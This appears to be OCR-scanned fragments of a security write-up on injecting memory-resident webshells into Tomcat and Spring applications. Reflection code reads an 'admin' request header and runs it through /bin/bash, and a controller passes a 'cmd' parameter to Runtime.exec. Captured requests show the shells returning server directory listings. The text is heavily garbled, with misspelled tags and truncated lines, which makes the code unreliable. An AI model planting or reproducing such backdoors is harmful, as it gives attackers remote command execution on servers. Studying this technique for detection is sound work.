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<servliet>

<servlet-name>dispatcher</servliet-name>
<serv1et—class-org.springframework.web.servlet.DispahchePServlet</59rvlet—class>

<init-param>
<param-name>contextConfigLocation</param-name>

<param-value>/WEB-INF/dispatcher-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servliet>
<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>/</url-pattern>
</servliet-mapping>
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HttpllProcessor(AbstractHttpllProtocol<?> protocol, Adapter adapter) {

(adapter)

.protocol = protocol

.httpParser = HttpParser(pro L.getRelaxedPathCha ), protocol.get
.inputBuffer = HttpllInputBuffer( .request, protocol.getMaxHttpHea
.request.setInputBuffer( .inputBuffer)

.outputBuffer = HttpllOutputBuffer( .response, protocol.getMaxHttp
.response,setOutputBuffer( .outputBuffer)
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contentType(): MessageBytes
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getHeader(String): String
setExpectation(boolean): void
Expectation(): boolean

setResponse(Respc ): void
setHook(ActionHook): void
action(ActionCode, Object): void
getCookies(): ServerCookies
getParameters(): Parameters
addPathParameter(String, String): v
getPathParameter(String): String
setAttribute(String, Object): void
getAttributes(): HashMap<String, Ob)
getAttribute(String): Object
getRemoteUser(): M
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Response petResponse() {

.response

nse(Response response) {

.response = response

nse.setRequest( )

setHook (A nHook hook) {

.hook = hook

Request. getResponse() —->Response.doWrite()
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ArraylList processors = (ArraylList) field.get ( resource );

field = Class.forName ( "org.apache.coyote.RequestInfo"

).getDeclaredField ( "req" );
field.setAccessible ( true );
for (int 1 = @; i < processors.size (); i++) {
Request request = (Request) field.get ( processors.get ( i )
)
String header = request.getHeader ( "admin");
if (header != null && !'header.equals ( "" )) {

String[] cmds = new String[]{"/bin/bash™, "-c", header};

InputStream in = Runtime.getRuntime ().exec ( cmds
).getInputStream ();

Scanner s = new Scanner ( in ).useDelimiter ( "\\a" );

String out = "";

while (s.hasNext ()) {

out += s.next ();



byte[] buf = out.getBytes ();
ByteBuffer byteBuffer = ByteBuffer.wrap ( buf );
request.getResponse ().doWrite ( byteBuffer );

request.getResponse ().getBytesWritten ( true );
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Request Response

@ Headers | Hex @ Headers i Hex |
GET /hi/e3 HTTP/1.1 & HTTP/1.1 200

Host: 192.168.0.101:8081 - Date: Tue, 28 Jul 2020 07:43:08 GMT
admin:ls Connection: close
Upgrade-Insecure-Requests: 1 Content-Length: 388
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 08 X 10_15_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 bootstrap.jar
Accept: catalina-tasks.xml
text/html,application/xhtml+xml, application/xml;qg=0.9, image/webp,image/apng,*/ catalina.bat
*:q=0.8,application/signed-exchange;v=b3;q=0.9 catalina.sh
Accept-Encoding: gzip, deflate ciphers.bat
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 ciphers.sh
Connection: close commons-daemon-native.tar.gz

commons-daemon. jar
configtest.bat
configtest.sh
daemon.sh
digest.bat
digest.sh

H makebase.bat
makebase.sh
setclasspath.bat
setclasspath.sh
shutdown.bat
shutdown.sh
startup.bat
startup.sh
tomcat-juli.jar
tomcat-native.tar.gz
tool-wrapper.bat
tool-wrapper.sh
version.bat
version.sh
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HttpServletRequest httprequest =((ServletRequestAttributes)

RequestContextHolder.getRequestAttributes()).getRequest();

HttpServletResponse httpresponse =
((ServletRequestAttributes)

RequestContextHolder.getRequestAttributes()).getResponse();
String resHeader=httprequest.getParameter ( "cmd" );

java.io.InputStream in =

java.lang.Runtime.getRuntime().exec(resHeader).getInputStream();
BufferedReader br = null;

br = new BufferedReader (new InputStreamReader (in,

"GBK"));
String line;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
sb.append(line);

sb.append("\n");



java.io.PrintWriter out = new

java.io.PrintWriter(httpresponse.getOutputStream());
out.write(sb.toString ());
out.flush();

out.close();

& — > A PR B
&« C @ localhost:8081/hi/c2?cmd=ls

bootstrap.jar
catalina-tasks.xml
catalina.bat
catalina.sh
ciphers.bat
ciphers.sh
commons-daemon-native.tar.gz
commons-daemon. jar
configtest.bat
configtest.sh
daemon.sh
digest.bat
digest.sh
makebase.bat
makebase.sh
setclasspath.bat
setclasspath.sh
shutdown.bat
shutdown.sh
startup.bat
startup.sh
tomcat-juli.jar
tomcat-native.tar.gz
tool-wrapper.bat
tool-wrapper.sh
version.bat
version.sh
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@ Params | Headers i Hex ﬁ Headers | Hex

GET N HTTP/1.1 200

fhilsp: ?i jb20uZCFSMiSzcHIpbmdtdmMuZCVtb4W2k2allo . Date: Mon, 27 J l 2020 14:32:59 CMT
Ongncsomvudunzn FEEXQAEKx quzhL?xhb vIIRyaWSn03hwARAAGKQABHF kbWl ukcmd=15 Connection: clo

HTTP/1.1 Content-Length: asa

Host: 192.168.0.101:8081

Upgrade-Insecure-Requests

1
user-aAgent: Mozilla/f5.0 (naunmsh: Intel Mag 05 X 10_15_5)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Accept:

text/html, nppl. ication/xhtmlexml, ppl..\:uti:ln:‘x.ml. q=0.9,image/webp, image/apng, */
ation/signed-exchange;v=b3;g=0.9
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